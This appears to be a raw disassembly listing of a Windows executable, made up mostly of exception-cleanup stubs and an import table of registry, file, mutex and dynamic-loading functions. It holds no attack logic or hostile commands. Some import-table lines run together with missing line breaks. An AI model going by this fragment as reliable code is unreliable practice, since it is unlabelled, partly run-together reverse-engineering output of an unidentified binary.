jmp sub_4317A2
; ---------------------------------------------------------------------------
mov eax, [ebp-1Ch]
and eax, 1
test eax, eax
jz locret_432296
mov ecx, [ebp+8]
jmp sub_4317A2
; ---------------------------------------------------------------------------
locret_432296: ; CODE XREF: TEUm:00432288j
retn
; ---------------------------------------------------------------------------
loc_432297: ; DATA XREF: sub_42578Fo
mov eax, offset dword_4353E8
jmp sub_4317FC
; ---------------------------------------------------------------------------
align 4
loc_4322A4: ; DATA XREF: TEUm:00435464o
lea ecx, [ebp-10h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
mov ecx, [ebp-18h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
lea ecx, [ebp-40h]
jmp sub_426ABF
; ---------------------------------------------------------------------------
lea ecx, [ebp-14h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
lea ecx, [ebp-18h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
mov eax, [ebp-1Ch]
and eax, 1
test eax, eax
jz locret_4322E2
mov ecx, [ebp+8]
jmp sub_4317A2
; ---------------------------------------------------------------------------
locret_4322E2: ; CODE XREF: TEUm:004322D4j
retn
; ---------------------------------------------------------------------------
loc_4322E3: ; DATA XREF: sub_425896o
mov eax, offset dword_435438
jmp sub_4317FC
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp+8]
jmp sub_4317A2
; ---------------------------------------------------------------------------
loc_4322F8: ; DATA XREF: TEUm:004354B4o
lea ecx, [ebp-10h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
mov ecx, [ebp-1Ch]
jmp sub_4317A2
; ---------------------------------------------------------------------------
lea ecx, [ebp-40h]
jmp sub_426ABF
; ---------------------------------------------------------------------------
lea ecx, [ebp-14h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
lea ecx, [ebp-18h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
lea ecx, [ebp-1Ch]
jmp sub_4317A2
; ---------------------------------------------------------------------------
lea ecx, [ebp-18h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
loc_432330: ; DATA XREF: sub_4259AEo
mov eax, offset dword_435488
jmp sub_4317FC
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp+8]
jmp sub_4317A2
; ---------------------------------------------------------------------------
loc_432344: ; DATA XREF: TEUm:00435514o
lea ecx, [ebp-10h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
mov ecx, [ebp-18h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_426ABF
; ---------------------------------------------------------------------------
lea ecx, [ebp-14h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
lea ecx, [ebp-18h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
loc_43236C: ; DATA XREF: sub_425B2Eo
mov eax, offset dword_4354E8
jmp sub_4317FC
; ---------------------------------------------------------------------------
align 4
loc_432378: ; DATA XREF: TEUm:00435564o
lea ecx, [ebp-10h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
mov ecx, [ebp-18h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
lea ecx, [ebp-40h]
jmp sub_426ABF
; ---------------------------------------------------------------------------
lea ecx, [ebp-14h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
lea ecx, [ebp-18h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
mov eax, [ebp-1Ch]
and eax, 1
test eax, eax
jz locret_4323B6
mov ecx, [ebp+8]
jmp sub_4317A2
; ---------------------------------------------------------------------------
locret_4323B6: ; CODE XREF: TEUm:004323A8j
retn
; ---------------------------------------------------------------------------
loc_4323B7: ; DATA XREF: sub_425C67o
mov eax, offset dword_435538
jmp sub_4317FC
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp+8]
jmp sub_4317A2
; ---------------------------------------------------------------------------
loc_4323CC: ; DATA XREF: TEUm:004355B4o
lea ecx, [ebp-1Ch]
jmp sub_4317A2
; ---------------------------------------------------------------------------
lea ecx, [ebp-10h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
loc_4323DC: ; DATA XREF: sub_425D94o
mov eax, offset dword_435588
jmp sub_4317FC
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp+8]
jmp sub_4317A2
; ---------------------------------------------------------------------------
loc_4323F0: ; DATA XREF: TEUm:004355ECo
lea ecx, [ebp-14h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
lea ecx, [ebp-18h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
lea ecx, [ebp-34h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
lea ecx, [ebp-2Ch]
jmp sub_4317A2
; ---------------------------------------------------------------------------
lea ecx, [ebp-2Ch]
jmp sub_4317A2
; ---------------------------------------------------------------------------
lea ecx, [ebp-28h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
lea ecx, [ebp-2Ch]
jmp sub_4317A2
; ---------------------------------------------------------------------------
mov ecx, [ebp-30h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
mov ecx, [ebp-30h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
lea ecx, [ebp-74h]
jmp sub_426ABF
; ---------------------------------------------------------------------------
lea ecx, [ebp-1Ch]
jmp sub_4317A2
; ---------------------------------------------------------------------------
mov ecx, [ebp-30h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_426ABF
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
lea ecx, [ebp-2Ch]
jmp sub_4317A2
; ---------------------------------------------------------------------------
lea ecx, [ebp-28h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
loc_432470: ; DATA XREF: sub_426022o
mov eax, offset dword_4355C0
jmp sub_4317FC
; ---------------------------------------------------------------------------
align 4
loc_43247C: ; DATA XREF: sub_42640Bo
mov eax, offset dword_435688
jmp sub_4317FC
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
call sub_428230
retn
; ---------------------------------------------------------------------------
loc_432499: ; DATA XREF: TEUm:00426505o
mov eax, offset dword_4356E0
jmp sub_4317FC
; ---------------------------------------------------------------------------
lea ecx, [ebp+8]
call sub_4317A2
retn
; ---------------------------------------------------------------------------
loc_4324AC: ; DATA XREF: TEUm:00435734o
mov ecx, [ebp-18h]
call sub_428230
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-10h]
call sub_4317A2
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-14h]
call sub_4317A2
retn
; =============== S U B R O U T I N E =======================================
SEH_426584 proc near ; DATA XREF: sub_426584+5o
mov eax, offset dword_435708
jmp sub_4317FC
SEH_426584 endp
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
call sub_428230
retn
; ---------------------------------------------------------------------------
loc_4324DA: ; DATA XREF: TEUm:00435774o
mov ecx, [ebp-10h]
add ecx, 10h
call sub_4317A2
retn
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 14h
call sub_4317A2
retn
; ---------------------------------------------------------------------------
loc_4324F2: ; DATA XREF: TEUm:00426882o
mov eax, offset dword_435748
jmp sub_4317FC
; ---------------------------------------------------------------------------
lea ecx, [ebp+0Ch]
call sub_4317A2
retn
; ---------------------------------------------------------------------------
loc_432505: ; DATA XREF: TEUm:004357ACo
lea ecx, [ebp+8]
call sub_4317A2
retn
; ---------------------------------------------------------------------------
mov ecx, [ebp-1Ch]
call sub_428230
retn
; ---------------------------------------------------------------------------
mov ecx, [ebp-1Ch]
add ecx, 10h
call sub_4317A2
retn
; ---------------------------------------------------------------------------
mov ecx, [ebp-1Ch]
add ecx, 14h
call sub_4317A2
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-10h]
call sub_4317A2
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-14h]
call sub_4317A2
retn
; =============== S U B R O U T I N E =======================================
SEH_42692B proc near ; DATA XREF: sub_42692B+5o
mov eax, offset dword_435780
jmp sub_4317FC
SEH_42692B endp
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
call sub_428230
retn
; ---------------------------------------------------------------------------
loc_432554: ; DATA XREF: TEUm:00435804o
mov ecx, [ebp-10h]
add ecx, 10h
call sub_4317A2
retn
; =============== S U B R O U T I N E =======================================
SEH_426ABF proc near ; DATA XREF: sub_426ABF+5o
mov eax, offset dword_4357D8
jmp sub_4317FC
SEH_426ABF endp
; ---------------------------------------------------------------------------
lea ecx, [ebp-20h]
call sub_4317A2
retn
; =============== S U B R O U T I N E =======================================
SEH_426B19 proc near ; DATA XREF: sub_426B19+5o
mov eax, offset dword_435808
jmp sub_4317FC
SEH_426B19 endp
; ---------------------------------------------------------------------------
lea ecx, [ebp+8]
call sub_4317A2
retn
; =============== S U B R O U T I N E =======================================
SEH_426DB8 proc near ; DATA XREF: sub_426DB8+5o
mov eax, offset dword_435830
jmp sub_4317FC
SEH_426DB8 endp
; ---------------------------------------------------------------------------
mov ecx, [ebp-30h]
call sub_428230
retn
; ---------------------------------------------------------------------------
loc_432599: ; DATA XREF: TEUm:00426E5Do
mov eax, offset dword_435858
jmp sub_4317FC
; ---------------------------------------------------------------------------
lea ecx, [ebp+8]
call sub_4317A2
retn
; ---------------------------------------------------------------------------
loc_4325AC: ; DATA XREF: TEUm:004358ACo
mov ecx, [ebp-38h]
call sub_428230
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-20h]
call sub_4317A2
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
call sub_4317A2
retn
; ---------------------------------------------------------------------------
loc_4325C7: ; DATA XREF: TEUm:00426F3Do
mov eax, offset dword_435880
jmp sub_4317FC
; ---------------------------------------------------------------------------
mov ecx, [ebp-20h]
call sub_428230
retn
; ---------------------------------------------------------------------------
loc_4325DA: ; DATA XREF: TEUm:004273C4o
mov eax, offset dword_4358C0
jmp sub_4317FC
; ---------------------------------------------------------------------------
lea ecx, [ebp+8]
call sub_4317A2
retn
; ---------------------------------------------------------------------------
loc_4325ED: ; DATA XREF: TEUm:00435914o
mov ecx, [ebp-28h]
call sub_428230
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-18h]
call sub_4317A2
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-1Ch]
call sub_4317A2
retn
; ---------------------------------------------------------------------------
loc_432608: ; DATA XREF: TEUm:00427480o
mov eax, offset dword_4358E8
jmp sub_4317FC
; ---------------------------------------------------------------------------
mov ecx, [ebp-18h]
call sub_4284A0
retn
; ---------------------------------------------------------------------------
loc_43261B: ; DATA XREF: TEUm:00435954o
mov ecx, [ebp-18h]
add ecx, 28h
call dword_433168
retn
; ---------------------------------------------------------------------------
mov ecx, [ebp-18h]
add ecx, 38h
call dword_433168
retn
; ---------------------------------------------------------------------------
loc_432635: ; DATA XREF: TEUm:0042789Ao
mov eax, offset dword_435928
jmp sub_4317FC
; ---------------------------------------------------------------------------
lea ecx, [ebp+18h]
call dword_433168
retn
; ---------------------------------------------------------------------------
loc_432649: ; DATA XREF: TEUm:0043598Co
lea ecx, [ebp+8]
call dword_433168
retn
; ---------------------------------------------------------------------------
mov ecx, [ebp-4Ch]
call sub_4284A0
retn
; ---------------------------------------------------------------------------
mov ecx, [ebp-4Ch]
add ecx, 28h
call dword_433168
retn
; ---------------------------------------------------------------------------
mov ecx, [ebp-4Ch]
add ecx, 38h
call dword_433168
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-28h]
call dword_433168
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-38h]
call dword_433168
retn
; ---------------------------------------------------------------------------
loc_43268A: ; DATA XREF: TEUm:00427957o
mov eax, offset dword_435960
jmp sub_4317FC
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
call sub_4284A0
retn
; ---------------------------------------------------------------------------
loc_43269D: ; DATA XREF: TEUm:004359E4o
mov ecx, [ebp-10h]
add ecx, 28h
call dword_433168
retn
; ---------------------------------------------------------------------------
loc_4326AA: ; DATA XREF: TEUm:00427ACCo
mov eax, offset dword_4359B8
jmp sub_4317FC
; ---------------------------------------------------------------------------
lea ecx, [ebp-20h]
call dword_433168
retn
; ---------------------------------------------------------------------------
loc_4326BE: ; DATA XREF: TEUm:00427D26o
mov eax, offset dword_4359E8
jmp sub_4317FC
; ---------------------------------------------------------------------------
lea ecx, [ebp+8]
call dword_433168
retn
; ---------------------------------------------------------------------------
loc_4326D2: ; DATA XREF: TEUm:00427E0Ao
mov eax, offset dword_435A10
jmp sub_4317FC
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
call sub_4284A0
retn
; ---------------------------------------------------------------------------
loc_4326E5: ; DATA XREF: TEUm:00427EB1o
mov eax, offset dword_435A38
jmp sub_4317FC
; ---------------------------------------------------------------------------
lea ecx, [ebp+8]
call dword_433168
retn
; ---------------------------------------------------------------------------
loc_4326F9: ; DATA XREF: TEUm:00435A8Co
mov ecx, [ebp-34h]
call sub_4284A0
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-20h]
call dword_433168
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-30h]
call dword_433168
retn
; ---------------------------------------------------------------------------
loc_432716: ; DATA XREF: TEUm:00427F36o
mov eax, offset dword_435A60
jmp sub_4317FC
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 8
call sub_4317A2
retn
; =============== S U B R O U T I N E =======================================
SEH_4281D0 proc near ; DATA XREF: sub_4281D0+5o
mov eax, offset dword_435AA0
jmp sub_4317FC
SEH_4281D0 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
add ecx, 8
call sub_4317A2
retn
; =============== S U B R O U T I N E =======================================
SEH_428230 proc near ; DATA XREF: sub_428230+5o
mov eax, offset dword_435AC8
jmp sub_4317FC
SEH_428230 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-18h]
add ecx, 8
call dword_433168
retn
; =============== S U B R O U T I N E =======================================
SEH_428440 proc near ; DATA XREF: sub_428440+5o
mov eax, offset dword_435AF0
jmp sub_4317FC
SEH_428440 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
add ecx, 8
call dword_433168
retn
; =============== S U B R O U T I N E =======================================
SEH_4284A0 proc near ; DATA XREF: sub_4284A0+5o
mov eax, offset dword_435B18
jmp sub_4317FC
SEH_4284A0 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
add ecx, 4
call sub_4317A2
retn
; ---------------------------------------------------------------------------
loc_4327AC: ; DATA XREF: TEUm:00435B6Co
mov ecx, [ebp-10h]
add ecx, 8
call sub_422BB1
retn
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 203Ch
call sub_4317A2
retn
; =============== S U B R O U T I N E =======================================
SEH_4297D0 proc near ; DATA XREF: sub_4297D0+5o
mov eax, offset dword_435B40
jmp sub_4317FC
SEH_4297D0 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
add ecx, 4
call sub_4317A2
retn
; ---------------------------------------------------------------------------
loc_4327EC: ; DATA XREF: TEUm:00435BA4o
mov ecx, [ebp-10h]
add ecx, 8
call sub_422BB1
retn
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 203Ch
call sub_4317A2
retn
; =============== S U B R O U T I N E =======================================
SEH_429850 proc near ; DATA XREF: sub_429850+5o
mov eax, offset dword_435B78
jmp sub_4317FC
SEH_429850 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-1Ch]
call sub_4241A6
retn
; ---------------------------------------------------------------------------
loc_432829: ; DATA XREF: TEUm:00435BDCo
lea ecx, [ebp-18h]
call sub_4317A2
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
call sub_4317A2
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-14h]
call sub_4317A2
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-27BCh]
call sub_4317A2
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-27C0h]
call sub_4317A2
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-27C8h]
call sub_4317A2
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-27CCh]
call sub_4317A2
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-27D0h]
call sub_4317A2
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-27D4h]
call sub_4317A2
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-27D8h]
call sub_4317A2
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-27DCh]
call sub_4317A2
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-27E0h]
call sub_4317A2
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-27E4h]
call sub_4317A2
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-27E8h]
call sub_4317A2
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-27ECh]
call sub_4317A2
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-27F0h]
call sub_4317A2
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-27F4h]
call sub_4317A2
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-27F8h]
call sub_4317A2
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-27FCh]
call sub_4317A2
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-2800h]
call sub_4317A2
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-2808h]
call sub_4317A2
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-1F9Ch]
call sub_429E60
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-34h]
call sub_429C40
retn
; ---------------------------------------------------------------------------
mov ecx, [ebp-2814h]
call sub_4241A6
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-27B0h]
call sub_4264D2
retn
; =============== S U B R O U T I N E =======================================
SEH_42852F proc near ; DATA XREF: sub_42852F+5o
mov eax, offset dword_435BB0
jmp sub_4317FC
SEH_42852F endp
; ---------------------------------------------------------------------------
lea ecx, [ebp-4014h]
call sub_4317A2
retn
; ---------------------------------------------------------------------------
loc_43295F: ; DATA XREF: TEUm:00435CCCo
lea ecx, [ebp-8024h]
call sub_4317A2
retn
; ---------------------------------------------------------------------------
loc_43296B: ; DATA XREF: TEUm:00435CD4o
lea ecx, [ebp-8028h]
call sub_4317A2
retn
; ---------------------------------------------------------------------------
loc_432977: ; DATA XREF: TEUm:00435CDCo
lea ecx, [ebp-802Ch]
call sub_4317A2
retn
; ---------------------------------------------------------------------------
loc_432983: ; DATA XREF: TEUm:00435CE4o
lea ecx, [ebp-8030h]
call sub_4317A2
retn
; ---------------------------------------------------------------------------
loc_43298F: ; DATA XREF: TEUm:00435CECo
lea ecx, [ebp-8034h]
call sub_4317A2
retn
; ---------------------------------------------------------------------------
loc_43299B: ; DATA XREF: TEUm:00435CF4o
lea ecx, [ebp-8038h]
call sub_4317A2
retn
; ---------------------------------------------------------------------------
loc_4329A7: ; DATA XREF: TEUm:00435CFCo
lea ecx, [ebp-803Ch]
call sub_4317A2
retn
; =============== S U B R O U T I N E =======================================
SEH_429039 proc near ; DATA XREF: sub_429039+5o
mov eax, offset dword_435CA0
jmp sub_4317FC
SEH_429039 endp
; =============== S U B R O U T I N E =======================================
SEH_42948F proc near ; DATA XREF: sub_42948F+5o
mov eax, offset dword_435D00
jmp sub_4317FC
SEH_42948F endp
; ---------------------------------------------------------------------------
align 10h
mov eax, [ebp-14h]
push eax
call sub_43177E
pop ecx
retn
; =============== S U B R O U T I N E =======================================
SEH_429920 proc near ; DATA XREF: sub_429920+5o
mov eax, offset dword_435D58
jmp sub_4317FC
SEH_429920 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-1Ch]
call sub_429C40
retn
; =============== S U B R O U T I N E =======================================
SEH_429AA0 proc near ; DATA XREF: sub_429AA0+5o
mov eax, offset dword_435D80
jmp sub_4317FC
SEH_429AA0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp+8]
call sub_4241A6
retn
; =============== S U B R O U T I N E =======================================
SEH_429DA0 proc near ; DATA XREF: sub_429DA0+5o
mov eax, offset dword_435DA8
jmp sub_4317FC
SEH_429DA0 endp
; ---------------------------------------------------------------------------
align 10h
mov eax, [ebp-1Ch]
push eax
call sub_43177E
pop ecx
retn
; =============== S U B R O U T I N E =======================================
SEH_43126B proc near ; DATA XREF: sub_43126B+5o
mov eax, offset dword_435DD0
jmp sub_4317FC
SEH_43126B endp
; ---------------------------------------------------------------------------
align 4
dd 16Eh dup(0)
dword_433000 dd 77DD6BF0h ; resolved to->ADVAPI32.RegCloseKey ; sub_4266E9+8Er ...
dword_433004 dd 77DD761Bh ; resolved to->ADVAPI32.RegOpenKeyExA ; sub_426B19+45r ...
dword_433008 dd 77DDEBE7h ; resolved to->ADVAPI32.RegSetValueExA ; sub_426CC3+74r ...
dword_43300C dd 77DDEAF4h ; resolved to->ADVAPI32.RegCreateKeyExA ; sub_426CC3+36r ...
dword_433010 dd 77DD7883h ; resolved to->ADVAPI32.RegQueryValueExA ; sub_426B19+79r ...
align 8
dword_433018 dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; TEUm:00421665r ...
dword_43301C dd 7C80180Eh ; resolved to->KERNEL32.ReadFile ; sub_42146A+12Ar ...
dword_433020 dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; TEUm:004217F5r ...
dword_433024 dd 7C810A77h ; resolved to->KERNEL32.GetFileSizedword_433028 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Error ; sub_42146A+99r ...
dword_43302C dd 7C834FFEh ; resolved to->KERNEL32.GetCurrentDirectoryA ; TEUm:0042212Br ...
dword_433030 dd 7C8217ACh ; resolved to->KERNEL32.CreateDirectoryA ; sub_43093B+FDr
dword_433034 dd 7C85B219h ; resolved to->KERNEL32.RemoveDirectoryAdword_433038 dd 7C812782h ; resolved to->KERNEL32.SetFileAttributesAdword_43303C dd 7C81153Ch ; resolved to->KERNEL32.GetFileAttributesAdword_433040 dd 7C80B974h ; resolved to->KERNEL32.UnmapViewOfFiledword_433044 dd 7C8137D9h ; resolved to->KERNEL32.FindFirstFileAdword_433048 dd 7C8360DDh ; resolved to->KERNEL32.SetCurrentDirectoryA ; sub_424A2E+18r
dword_43304C dd 7C80FC2Fh ; resolved to->KERNEL32.GlobalFree ; sub_4227A4+36r ...
dword_433050 dd 7C810D87h ; resolved to->KERNEL32.WriteFile ; sub_430A42+445r
dword_433054 dd 7C80ABDEh ; resolved to->KERNEL32.FreeLibrary ; sub_42640B+6Cr
dword_433058 dd 7C8123B9h ; resolved to->KERNEL32.GlobalReAllocdword_43305C dd 7C80FD2Dh ; resolved to->KERNEL32.GlobalAllocdword_433060 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddress ; sub_4227A4+82r ...
dword_433064 dd 7C80A0D4h ; resolved to->KERNEL32.WideCharToMultiBytedword_433068 dd 7C809BF8h ; resolved to->KERNEL32.MultiByteToWideChardword_43306C dd 7C80B905h ; resolved to->KERNEL32.MapViewOfFiledword_433070 dd 7C80945Ch ; resolved to->KERNEL32.CreateFileMappingAdword_433074 dd 7C834D41h ; resolved to->KERNEL32.lstrcatA ; sub_422C48+28r ...
dword_433078 dd 7C910340h ; resolved to->NTDLL.RtlSetLastWin32Error ; sub_421C92+71r ...
dword_43307C dd 7C80EDD7h ; resolved to->KERNEL32.FindClose ; sub_4221DB+98r ...
dword_433080 dd 7C834EB1h ; resolved to->KERNEL32.FindNextFileAdword_433084 dd 7C801EEEh ; resolved to->KERNEL32.GetStartupInfoAdword_433088 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleAdword_43308C dd 7C831CB8h ; resolved to->KERNEL32.SetFileTimedword_433090 dd 7C83214Eh ; resolved to->KERNEL32.DosDateTimeToFileTimedword_433094 dd 7C810B1Ch ; resolved to->KERNEL32.SystemTimeToFileTimedword_433098 dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcess ; sub_42E589+6Dr
dword_43309C dd 7C80DDFEh ; resolved to->KERNEL32.DuplicateHandledword_4330A0 dd 7C810E51h ; resolved to->KERNEL32.GetFileType ; sub_43012E+59r ...
dword_4330A4 dd 7C810B8Eh ; resolved to->KERNEL32.SetFilePointer ; sub_42E77F+27r ...
dword_4330A8 dd 7C80992Fh ; resolved to->KERNEL32.LocalFreedword_4330AC dd 7C809766h ; resolved to->KERNEL32.InterlockedIncrementdword_4330B0 dd 7C80E93Fh ; resolved to->KERNEL32.CreateMutexAdword_4330B4 dd 7C80BDB6h ; resolved to->KERNEL32.lstrlenA ; sub_424B41+12Dr ...
dword_4330B8 dd 7C821BA5h ; resolved to->KERNEL32.GetVolumeInformationAdword_4330BC dd 7C80BF3Dh ; resolved to->KERNEL32.GetSystemDefaultLCIDdword_4330C0 dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoAdword_4330C4 dd 7C80977Ah ; resolved to->KERNEL32.InterlockedDecrementdword_4330C8 dd 7C810111h ; resolved to->KERNEL32.lstrcpynA ; sub_42852F+67Fr
dword_4330CC dd 7C80BE01h ; resolved to->KERNEL32.lstrcpyA ; sub_422F1F+Cr ...
dword_4330D0 dd 7C802520h ; resolved to->KERNEL32.WaitForSingleObjectdword_4330D4 dd 7C821363h ; resolved to->KERNEL32.GetWindowsDirectoryA ; sub_424B41+166r
dword_4330D8 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameAdword_4330DC dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; sub_42640B+1Ar
dword_4330E0 dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_422A1E+C8r ...
align 8
dword_4330E8 dd 73E267E1h dword_4330EC dd 73E266E6h dword_4330F0 dd 73E263DEh dword_4330F4 dd 73DD6672h dword_4330F8 dd 73E2D6BFh dword_4330FC dd 73DD493Dh dword_433100 dd 73DD27B2h dword_433104 dd 73DD418Ch dword_433108 dd 73DD2831h dword_43310C dd 73E2654Dh dword_433110 dd 73E26465h dword_433114 dd 73DEBD63h dword_433118 dd 73DD47A8h dword_43311C dd 73DD265Ch dword_433120 dd 73DD496Bh dword_433124 dd 73DD2709h dword_433128 dd 73DD41F5h dword_43312C dd 73DD4391h dword_433130 dd 73E2C2B3h dword_433134 dd 73DD433Ah dword_433138 dd 73DD4123h align 10h
dword_433140 dd 401F3Eh ; TEUm:00421419r
dword_433144 dd 404A51h ; TEUm:004213CEr
dword_433148 dd 401888h ; TEUm:004213E0r
dword_43314C dd 405384h ; TEUm:00421426r
dword_433150 dd 401E51h ; TEUm:00431D17r
dword_433154 dd 403B9Ah dword_433158 dd 401204h dword_43315C dd 4038E0h dword_433160 dd 401891h align 8
dword_433168 dd 7608F485h ; TEUm:00427A7Cr ...
dword_43316C dd 7608F470h ; TEUm:004278E0r ...
dword_433170 dd 7609F0F5h ; TEUm:00427A52r ...
dword_433174 dd 76085B0Ch ; TEUm:00427F9Er
dword_433178 dd 760AC190h ; TEUm:00427A3Br ...
dword_43317C dd 760A06A9h ; TEUm:00427A28r ...
dword_433180 dd 7609F015h ; sub_427B23+12Cr ...
dword_433184 dd 76081F8Bh dword_433188 dd 7608B84Ch ; sub_427B23+58r ...
dword_43318C dd 76085828h dword_433190 dd 76090F65h dword_433194 dd 76097647h ; TEUm:00427906r ...
dd 0
dword_43319C dd 77C47A90h ; resolved to->MSVCRT.strncpy ; TEUm:00431252r
dword_4331A0 dd 77C1BE7Bh ; resolved to->MSVCRT.atoldword_4331A4 dd 77C4AEA3h ; resolved to->MSVCRT.time ; sub_425642+AAr ...
dword_4331A8 dd 77C1BF18h ; resolved to->MSVCRT.atoi ; sub_426022+2EAr
dword_4331AC dd 77C464BFh ; resolved to->MSVCRT._strnicmp ; sub_425D94+1EDr ...
dword_4331B0 dd 77C46125h ; resolved to->MSVCRT._strdupdword_4331B4 dd 77C32D22h ; resolved to->MSVCRT._mbsuprdword_4331B8 dd 77C46040h ; resolved to->MSVCRT.strcatdword_4331BC dd 77C22738h ; resolved to->MSVCRT._EH_prologdword_4331C0 dd 77C46F70h ; resolved to->MSVCRT.memcpydword_4331C4 dd 77C3F010h ; resolved to->MSVCRT.fopendword_4331C8 dd 77C2C407h ; resolved to->MSVCRT.malloc ; sub_42852F+940r ...
dword_4331CC dd 77C47C60h ; resolved to->MSVCRT.strstrdword_4331D0 dd 77C40AB1h ; resolved to->MSVCRT.fclosedword_4331D4 dd 77C2C21Bh ; resolved to->MSVCRT.free ; sub_423288+110r ...
dword_4331D8 dd 77C41574h ; resolved to->MSVCRT.ftell ; sub_4224B5+2Er
dword_4331DC dd 77C227FAh ; resolved to->MSVCRT.__CxxFrameHandlerdword_4331E0 dd 77C226F6h ; resolved to->MSVCRT._CxxThrowExceptiondword_4331E4 dd 77C3F931h ; resolved to->MSVCRT.sprintf ; sub_422A1E+108r ...
dword_4331E8 dd 77C47FCCh ; resolved to->MSVCRT.wcslendword_4331EC dd 77C31881h ; resolved to->MSVCRT._mbscmp ; sub_425B2E+D7r ...
dword_4331F0 dd 77C4139Ch ; resolved to->MSVCRT.fseek ; sub_4224B5+44r
dword_4331F4 dd 77C1CAD7h ; resolved to->MSVCRT.toupper ; sub_42239F+6Dr ...
